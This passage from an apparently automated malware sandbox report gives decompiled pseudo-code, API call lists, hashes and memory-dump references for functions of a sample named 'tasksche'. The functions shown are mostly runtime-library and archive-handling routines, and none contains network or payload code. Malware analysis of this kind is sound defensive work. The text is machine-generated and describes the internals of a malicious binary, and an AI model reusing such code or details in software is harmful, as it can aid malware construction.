					if(_t23 == 0) {
						_t31 = 0;
						__eflags = 0;
					} else {
						_t31 = E00410F29(_t23, 0x20);
					}
					LeaveCriticalSection(0x44f590);
					_t12 = _t31;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t32 - 0xc));
				return _t12;
			}

0x00411072
0x00411072
0x00411077
0x0041107c
0x00411085
0x0041108b
0x00411090
0x0041109b
0x0041109d
0x0041109f
0x004110a0
0x004110a6
0x004110a9
0x004110af
0x004110bc
0x004110bc
0x004110b1
0x004110b5
0x004110b5
0x004110be
0x004110c2
0x004110c2
0x004110c7
0x004110ce
0x00411100
0x00411106
0x004110d0
0x004110d0
0x004110d7
0x004110d9
0x004110dc
0x004110e5
0x004110f2
0x004110f2
0x004110e7
0x004110ee
0x004110ee
0x004110f5
0x004110fb
0x004110fb
0x00411110
0x00411118

APIs

__EH_prolog.LIBCMT ref: 00411077
EnterCriticalSection.KERNEL32(0044F590,?,?,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?), ref: 00411085
LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 004110F5

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 00411100

Part of subcall function 00410F29: InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
Part of subcall function 00410F29: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
Part of subcall function 00410F29: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore_malloc
String ID:
API String ID: 1405584564-0
Opcode ID: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction ID: 491e5497db774d6ab3e78c5f78b9db4af1dc916e288055147b814ae628d52a75
Opcode Fuzzy Hash: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction Fuzzy Hash: 1A118234A01321EBD724AF74AC457EABBA4AB0C355F10453BE902E3692DBBC89D1865D

Uniqueness

Uniqueness Score: -1.00%

Function 0042332E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042332E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00422C1F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00422D0F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00423234(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00423179(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00423333
0x00423339
0x004233ac
0x00000000
0x00423340
0x00423340
0x00423343
0x0042335e
0x00423361
0x00423381
0x00423393
0x00423363
0x00423363
0x00423366
0x00000000
0x00423368
0x0042337a
0x0042337a
0x00423366
0x004233b1
0x004233b5
0x00423345
0x0042335d
0x0042335d
0x00423343

APIs

__cftof_l.LIBCMT ref: 00423354

Part of subcall function 00423179: __fltout2.LIBCMT ref: 004231A5

__cftog_l.LIBCMT ref: 0042337A
__cftoe_l.LIBCMT ref: 004233AC

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 44ddc5ebc1807cb1f8dbc3b2ce9dd0a677749795dee404b17e6a32e81244ff51
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AE11723250015EFBCF125E85EC418EE3F32BB48355B988456FE1859130CA3ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00411A8F Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411A8F(void* __ecx, intOrPtr _a4) {
				short _v4612;
				long _t11;
				int _t14;
				signed int _t16;

				E0041AAF0(0x1200);
				E0040BC16( &_v4612, 0x900, E0040C3BF(0x83), _a4);
				_t11 = GetLastError();
				_t14 = MessageBoxW( *0x441840,  &_v4612, E0040C3BF(0x96), 0x35);
				SetLastError(_t11);
				return _t16 & 0xffffff00 | _t14 == 0x00000004;
			}

0x00411a97
0x00411ab8
0x00411ac0
0x00411ae2
0x00411aef
0x00411afa

APIs

Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C410
Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C422

_swprintf.LIBCMT ref: 00411AB8

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

GetLastError.KERNEL32(?), ref: 00411AC0
MessageBoxW.USER32(?,00000000,00000096,00000035), ref: 00411AE2
SetLastError.KERNEL32(00000000), ref: 00411AEF

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastLoadString$Message__vswprintf_c_l_swprintf
String ID:
API String ID: 2205000856-0
Opcode ID: 1aef678d272ea544d4dc70fe04a1d9da539a5211dc7d52d191acb489ce468cca
Instruction ID: 7f3341f69499fe42e6dffd8e50f304e55c87ac1a4f55305a7eb793650ce5b90b
Opcode Fuzzy Hash: 1aef678d272ea544d4dc70fe04a1d9da539a5211dc7d52d191acb489ce468cca
Instruction Fuzzy Hash: 74F02732140114ABF71137E08C4AECA379CFB087C5F000277FA01F21A2EA79996487BD

Uniqueness

Uniqueness Score: -1.00%

Function 00422313 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00422313(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x42da10);
				E0041FA9C(__ebx, __edi, __esi);
				_t28 = E0041E9B4(__ebx, __edx, __edi, _t30);
				_t13 =  *0x430da4; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0041EFA3(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t29 - 0x1c)) = E004222D5(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0042237D();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0041E9B4(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00421495(_t25, _t26, 0x20);
				}
				return E0041FAE1(_t28);
			}

0x00422313
0x00422313
0x00422313
0x00422313
0x00422313
0x00422315
0x0042231a
0x00422324
0x00422326
0x0042232e
0x00422352
0x00422354
0x0042235a
0x0042235e
0x00422361
0x0042236c
0x0042236f
0x00422376
0x00422330
0x00422330
0x00422334
0x00000000
0x00422336
0x0042233b
0x0042233b
0x00422334
0x00422340
0x00422344
0x00422349
0x00422351

APIs

__getptd.LIBCMT ref: 0042231F

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 00422336
__amsg_exit.LIBCMT ref: 00422344
__lock.LIBCMT ref: 00422354

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction ID: ac1e04e8c31356b773b53a495aea9e08dc5a2d3a98daccf88dafce2968103349
Opcode Fuzzy Hash: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction Fuzzy Hash: D2F09631B00720EBDB60FBB6A50279D73A07F44724F54416FE844AB2D1CBBC9942DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D116 Relevance: 6.0, APIs: 4, Instructions: 29
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D116() {
				struct tagMSG _v32;
				int _t6;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0);
				if(_t6 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					TranslateMessage( &_v32);
					return DispatchMessageW( &_v32);
				}
				return _t6;
			}

0x0040d127
0x0040d12f
0x0040d138
0x0040d142
0x00000000
0x0040d14c
0x0040d154

APIs

PeekMessageW.USER32 ref: 0040D127
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
TranslateMessage.USER32(?), ref: 0040D142
DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction ID: 62915b0a08277243b8fe4fd8ce30adb6e130eab43b2b780e39f86cd7d7c3188f
Opcode Fuzzy Hash: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction Fuzzy Hash: 9FE0ED72E0112AA7CB20ABE19C0CDDB7F6CEE062517404021BD05E2015D638D116C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 00409DF7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00409DF7(intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				char _v4100;
				char _v8196;
				short _t35;
				signed int _t38;
				short _t48;
				short _t50;
				short _t55;
				short _t56;
				signed int _t61;
				intOrPtr _t63;
				unsigned int _t66;
				signed int _t67;
				void* _t68;
				signed int _t69;

				E0041AAF0(0x2000);
				_t63 = _a4;
				_t66 = _a12;
				_t67 = _t66 & 0x0000ffff;
				_a12 = _t66 >> 0x0000001f & 0x00000001;
				if(_t67 == 0) {
					L25:
					_t63 = E0040A5DB(__eflags, _t63);
					_t68 = E0040A5DB(__eflags, _a8);
					_t35 = E00411E81(__eflags, L"__rar_", _t68, 6);
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						return 0;
					}
					_push(_a12);
					_push(_t68);
					__eflags = _t67 - 2;
					if(_t67 != 2) {
						L17:
						_push(_t63);
						return E00409CD1();
					}
					_push(_t63);
					_t38 = E00409C8B();
					asm("sbb eax, eax");
					return  ~_t38 + 1;
				}
				_t69 = E0041A7AF(_t63);
				if(_t67 == 2 || _t67 == 3 || E00409CAC(_t63, _a8, _t69, _a12) != 0) {
					L8:
					__eflags = _t67 - 1;
					if(_t67 != 1) {
						E0040A7AE(_t63,  &_v4100, 0x800);
						E0040A7AE(_a8,  &_v8196, 0x800);
						__eflags = _t67 - 2;
						if(_t67 == 2) {
							L12:
							_t48 = E00409C8B( &_v4100,  &_v8196, _a12);
							__eflags = _t48;
							if(_t48 != 0) {
								goto L9;
							}
							L13:
							__eflags = _t67 - 4;
							if(_t67 == 4) {
								L15:
								_t50 = E0040A0A4( &_v4100);
								__eflags = _t50;
								if(_t50 == 0) {
									__eflags = _t67 - 4;
									if(_t67 == 4) {
										L22:
										__eflags = _v4100;
										if(__eflags == 0) {
											goto L25;
										}
										_t55 = E00409CAC( &_v4100,  &_v8196, E0041A7AF( &_v4100), _a12);
										L24:
										__eflags = _t55;
										if(__eflags != 0) {
											goto L9;
										}
										goto L25;
									}
									_t56 = E0040A0A4(_t63);
									__eflags = _t56;
									if(_t56 != 0) {
										goto L22;
									}
									_t55 = E00409C8B( &_v4100,  &_v8196, _a12);
									goto L24;
								}
								_push(_a12);
								_push(_a8);
								goto L17;
							}
							__eflags = _t67 - 5;
							if(__eflags != 0) {
								goto L25;
							}
							goto L15;
						}
						__eflags = _t67 - 3;
						if(_t67 != 3) {
							goto L13;
						}
						goto L12;
					}
					goto L9;
				} else {
					_t61 =  *(_a8 + _t69 * 2) & 0x0000ffff;
					if(_t61 == 0x5c || _t61 == 0x2f || _t61 == 0) {
						return 1;
					} else {
						goto L8;
					}
				}
			}

0x00409dff
0x00409e05
0x00409e0a
0x00409e14
0x00409e1a
0x00409e1d
0x00409f41
0x00409f4a
0x00409f53
0x00409f5b
0x00409f60
0x00409f62
0x00409e68
0x00000000
0x00409e68
0x00409f68
0x00409f6b
0x00409f6c
0x00409f6f
0x00409ed7
0x00409ed7
0x00000000
0x00409ed8
0x00409f75
0x00409f76
0x00409f7d
0x00000000
0x00409f7f
0x00409e2a
0x00409e2f
0x00409e63
0x00409e63
0x00409e66
0x00409e7a
0x00409e8a
0x00409e8f
0x00409e92
0x00409e99
0x00409eaa
0x00409eaf
0x00409eb1
0x00000000
0x00000000
0x00409eb3
0x00409eb3
0x00409eb6
0x00409ec1
0x00409ec8
0x00409ecd
0x00409ecf
0x00409ee4
0x00409ee7
0x00409f0b
0x00409f0b
0x00409f13
0x00000000
0x00000000
0x00409f34
0x00409f39
0x00409f39
0x00409f3b
0x00000000
0x00000000
0x00000000
0x00409f3b
0x00409eea
0x00409eef
0x00409ef1
0x00000000
0x00000000
0x00409f04
0x00000000
0x00409f04
0x00409ed1
0x00409ed4
0x00000000
0x00409ed4
0x00409eb8
0x00409ebb
0x00000000
0x00000000
0x00000000
0x00409ebb
0x00409e94
0x00409e97
0x00000000
0x00000000
0x00000000
0x00409e97
0x00000000
0x00409e47
0x00409e4a
0x00409e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e52

APIs

_wcslen.LIBCMT ref: 00409E24
_wcslen.LIBCMT ref: 00409F1F

Strings

__rar_, xrefs: 00409F56

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen
String ID: __rar_
API String ID: 176396367-2561138058
Opcode ID: 3ef2ccedb943741c2f65dc3fa77fb2b17490625d9c1dcd851460ca24030e142f
Instruction ID: 2f22db44ea277558b4e0ddbd7bf004989f9b0852302f55cc0e1d63be076b661c
Opcode Fuzzy Hash: 3ef2ccedb943741c2f65dc3fa77fb2b17490625d9c1dcd851460ca24030e142f
Instruction Fuzzy Hash: 2E41A176A0021966DF21AA65CC81BEF336DAF54384F08087BF905B31D3D63DCD9187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040820B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040820B(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __edi;
				void* _t47;
				signed int _t53;
				signed int _t54;
				signed int _t58;
				signed int _t63;
				signed int _t77;
				void* _t82;
				signed int _t85;
				void* _t97;
				intOrPtr _t101;
				void* _t103;
				void* _t106;

				_t106 = __eflags;
				_t96 = __edx;
				E0041A4DC(E004296DE, _t103);
				E0041AAF0(0xe0f4);
				_t101 = __ecx;
				_push(_t97);
				E00401822(_t103 - 0xe100, __edx, _t97, _t106,  *((intOrPtr*)(__ecx + 8)));
				_t98 = __ecx + 0x445c;
				_t77 = 0;
				 *(_t103 - 4) = 0;
				_t47 = E004088FD(_t103 - 0xe100, __ecx + 0x445c);
				_t82 = _t103 - 0xe100;
				if(_t47 == 0) {
					L18:
					 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
					E00401228(_t82, _t98);
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
					return 0;
				}
				_push(1);
				if(E00401417(_t82, __edx) != 0) {
					__eflags =  *(_t103 - 0x309b);
					if( *(_t103 - 0x309b) != 0) {
						L17:
						_t82 = _t103 - 0xe100;
						goto L18;
					}
					 *((intOrPtr*)(_t103 - 0x14)) = 0;
					__eflags =  *(_t103 - 0x30ab);
					if(__eflags == 0) {
						L10:
						E004070BC(_t101, _t96, _t103, __eflags, _t103 - 0xe100);
						_t53 =  *(_t101 + 8);
						_t85 =  *(_t53 + 0x72b2) & 0x0000ffff;
						__eflags = _t85 - 0x54;
						if(_t85 == 0x54) {
							L12:
							 *((char*)(_t53 + 0x51c1)) = 1;
							L13:
							_t54 =  *(_t101 + 8);
							__eflags =  *((short*)(_t54 + 0x72b2)) - 0x49;
							if( *((short*)(_t54 + 0x72b2)) != 0x49) {
								__eflags =  *((char*)(_t54 + 0x51c1));
								_t33 =  *((char*)(_t54 + 0x51c1)) == 0;
								__eflags =  *((char*)(_t54 + 0x51c1)) == 0;
								_t54 = E004116C9((_t54 & 0xffffff00 | _t33) & 0x000000ff, (_t54 & 0xffffff00 | _t33) & 0x000000ff, _t101 + 0x445c);
							}
							E00401000(_t54);
							do {
								_t58 = E004076AA(_t101, _t96, _t103 - 0xe100, E0040369F(_t96, _t103), _t103 - 0xd);
								__eflags = _t58;
							} while (_t58 != 0);
							goto L17;
						}
						__eflags = _t85 - 0x49;
						if(_t85 != 0x49) {
							goto L13;
						}
						goto L12;
					}
					_t63 = E0041A7F7(_t103 - 0x1018, _t103 - 0xe0e2);
					__eflags =  *(_t103 - 0x30a6);
					_t98 = 0x800;
					while(1) {
						E0040A8A1(_t103 - 0x1018, _t98, (_t63 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
						E004067E1(_t103 - 0x2060);
						_push(0);
						__eflags = E004096BC(_t96, _t103 - 0x1018, _t103 - 0x2060);
						if(__eflags == 0) {
							break;
						}
						_t77 = _t77 +  *((intOrPtr*)(_t103 - 0x1060));
						_t63 =  *(_t103 - 0x105c);
						asm("adc [ebp-0x14], eax");
						__eflags =  *(_t103 - 0x30a6);
					}
					 *((intOrPtr*)(_t101 + 0x2210)) =  *((intOrPtr*)(_t101 + 0x2210)) + _t77;
					asm("adc [eax+0x4], ecx");
					goto L10;
				}
				if(E0040A788(_t98, L"rar") != 0) {
					E004062BA(0x4335ac, 1);
				}
				goto L17;
			}

0x0040820b
0x0040820b
0x00408210
0x0040821a
0x00408221
0x00408223
0x0040822d
0x00408232
0x00408238
0x00408241
0x00408244
0x00408249
0x00408251
0x004083a6
0x004083a6
0x004083aa
0x004083b7
0x004083bf
0x004083bf
0x00408257
0x00408260
0x00408286
0x0040828c
0x004083a0
0x004083a0
0x00000000
0x004083a0
0x00408292
0x00408295
0x0040829b
0x00408321
0x0040832a
0x0040832f
0x00408332
0x00408339
0x0040833d
0x00408345
0x00408345
0x0040834c
0x0040834c
0x0040834f
0x00408357
0x00408359
0x00408366
0x00408366
0x0040836e
0x0040836e
0x00408379
0x0040837e
0x00408397
0x0040839c
0x0040839c
0x00000000
0x0040837e
0x0040833f
0x00408343
0x00000000
0x00000000
0x00000000
0x00408343
0x004082af
0x004082b4
0x004082bc
0x004082db
0x004082ea
0x004082f5
0x004082fa
0x0040830f
0x00408311
0x00000000
0x00000000
0x004082c9
0x004082cb
0x004082d1
0x004082d4
0x004082d4
0x0040831c
0x0040831e
0x00000000
0x0040831e
0x0040826f
0x0040827c
0x0040827c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00408210

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401417: __EH_prolog.LIBCMT ref: 0040141C

_wcscpy.LIBCMT ref: 004082AF

Strings

rar, xrefs: 00408262

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID: rar
API String ID: 2876264062-1792618458
Opcode ID: 497d28575b370dd8aa3cc700acff6742c4b81317d41de5a9ad928a3b6301704d
Instruction ID: 75000dcce843433d4275637ef0618472c828e59e125cdaf0ff5f97d994d1ab7f
Opcode Fuzzy Hash: 497d28575b370dd8aa3cc700acff6742c4b81317d41de5a9ad928a3b6301704d
Instruction Fuzzy Hash: 3D41A4319002589EDB24DB50C955BEA77B8AB14304F4448FFE489B3182DB796FC8CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEF5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E0040CEF5(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t10;
				long _t11;
				intOrPtr* _t22;
				void* _t23;
				signed int _t30;
				void* _t32;
				signed int _t33;
				intOrPtr _t35;

				_t35 =  *0x438808; // 0x0
				if(_t35 == 0) {
					E0040CEB6(0x438800);
				}
				_t33 = _a8;
				_t10 = _t33 - (_t33 & 0x0000000f);
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t22 =  *0x43880c; // 0x0
					if(_t22 == 0) {
						goto L10;
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					_t22 =  *0x438808; // 0x0
					if(_t22 == 0) {
						L10:
						_t11 = GetCurrentProcessId();
						_t23 = 0;
						if(_t33 > 0) {
							_t32 = _t11 + 0x4b;
							do {
								_t11 = _a4 + _t23;
								 *_t11 =  *_t11 ^ _t32 + _t23;
								_t23 = _t23 + 1;
							} while (_t23 < _t33);
						}
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x4335ac);
							E00401000(E00406423(_t22));
							return E00406371(0x4335ac, 2);
						}
					}
				}
				return _t11;
			}

0x0040cefc
0x0040cf02
0x0040cf09
0x0040cf09
0x0040cf0e
0x0040cf1a
0x0040cf1f
0x0040cf25
0x0040cf60
0x0040cf68
0x00000000
0x0040cf6a
0x0040cf6f
0x0040cf73
0x0040cf75
0x00000000
0x0040cf75
0x0040cf73
0x0040cf27
0x0040cf27
0x0040cf2f
0x0040cf7c
0x0040cf7c
0x0040cf82
0x0040cf86
0x0040cf8a
0x0040cf8d
0x0040cf90
0x0040cf96
0x0040cf98
0x0040cf99
0x0040cf8d
0x0040cf31
0x0040cf36
0x0040cf3a
0x0040cf3c
0x0040cf41
0x0040cf46
0x0040cf50
0x00000000
0x0040cf59
0x0040cf3a
0x0040cf2f
0x0040cfa0

APIs

Part of subcall function 0040CEB6: LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

GetCurrentProcessId.KERNEL32(00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?,00000001,?,?), ref: 0040CF7C

Strings

CryptUnprotectMemory failed, xrefs: 0040CF75
CryptProtectMemory failed, xrefs: 0040CF3C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 137661620-396321323
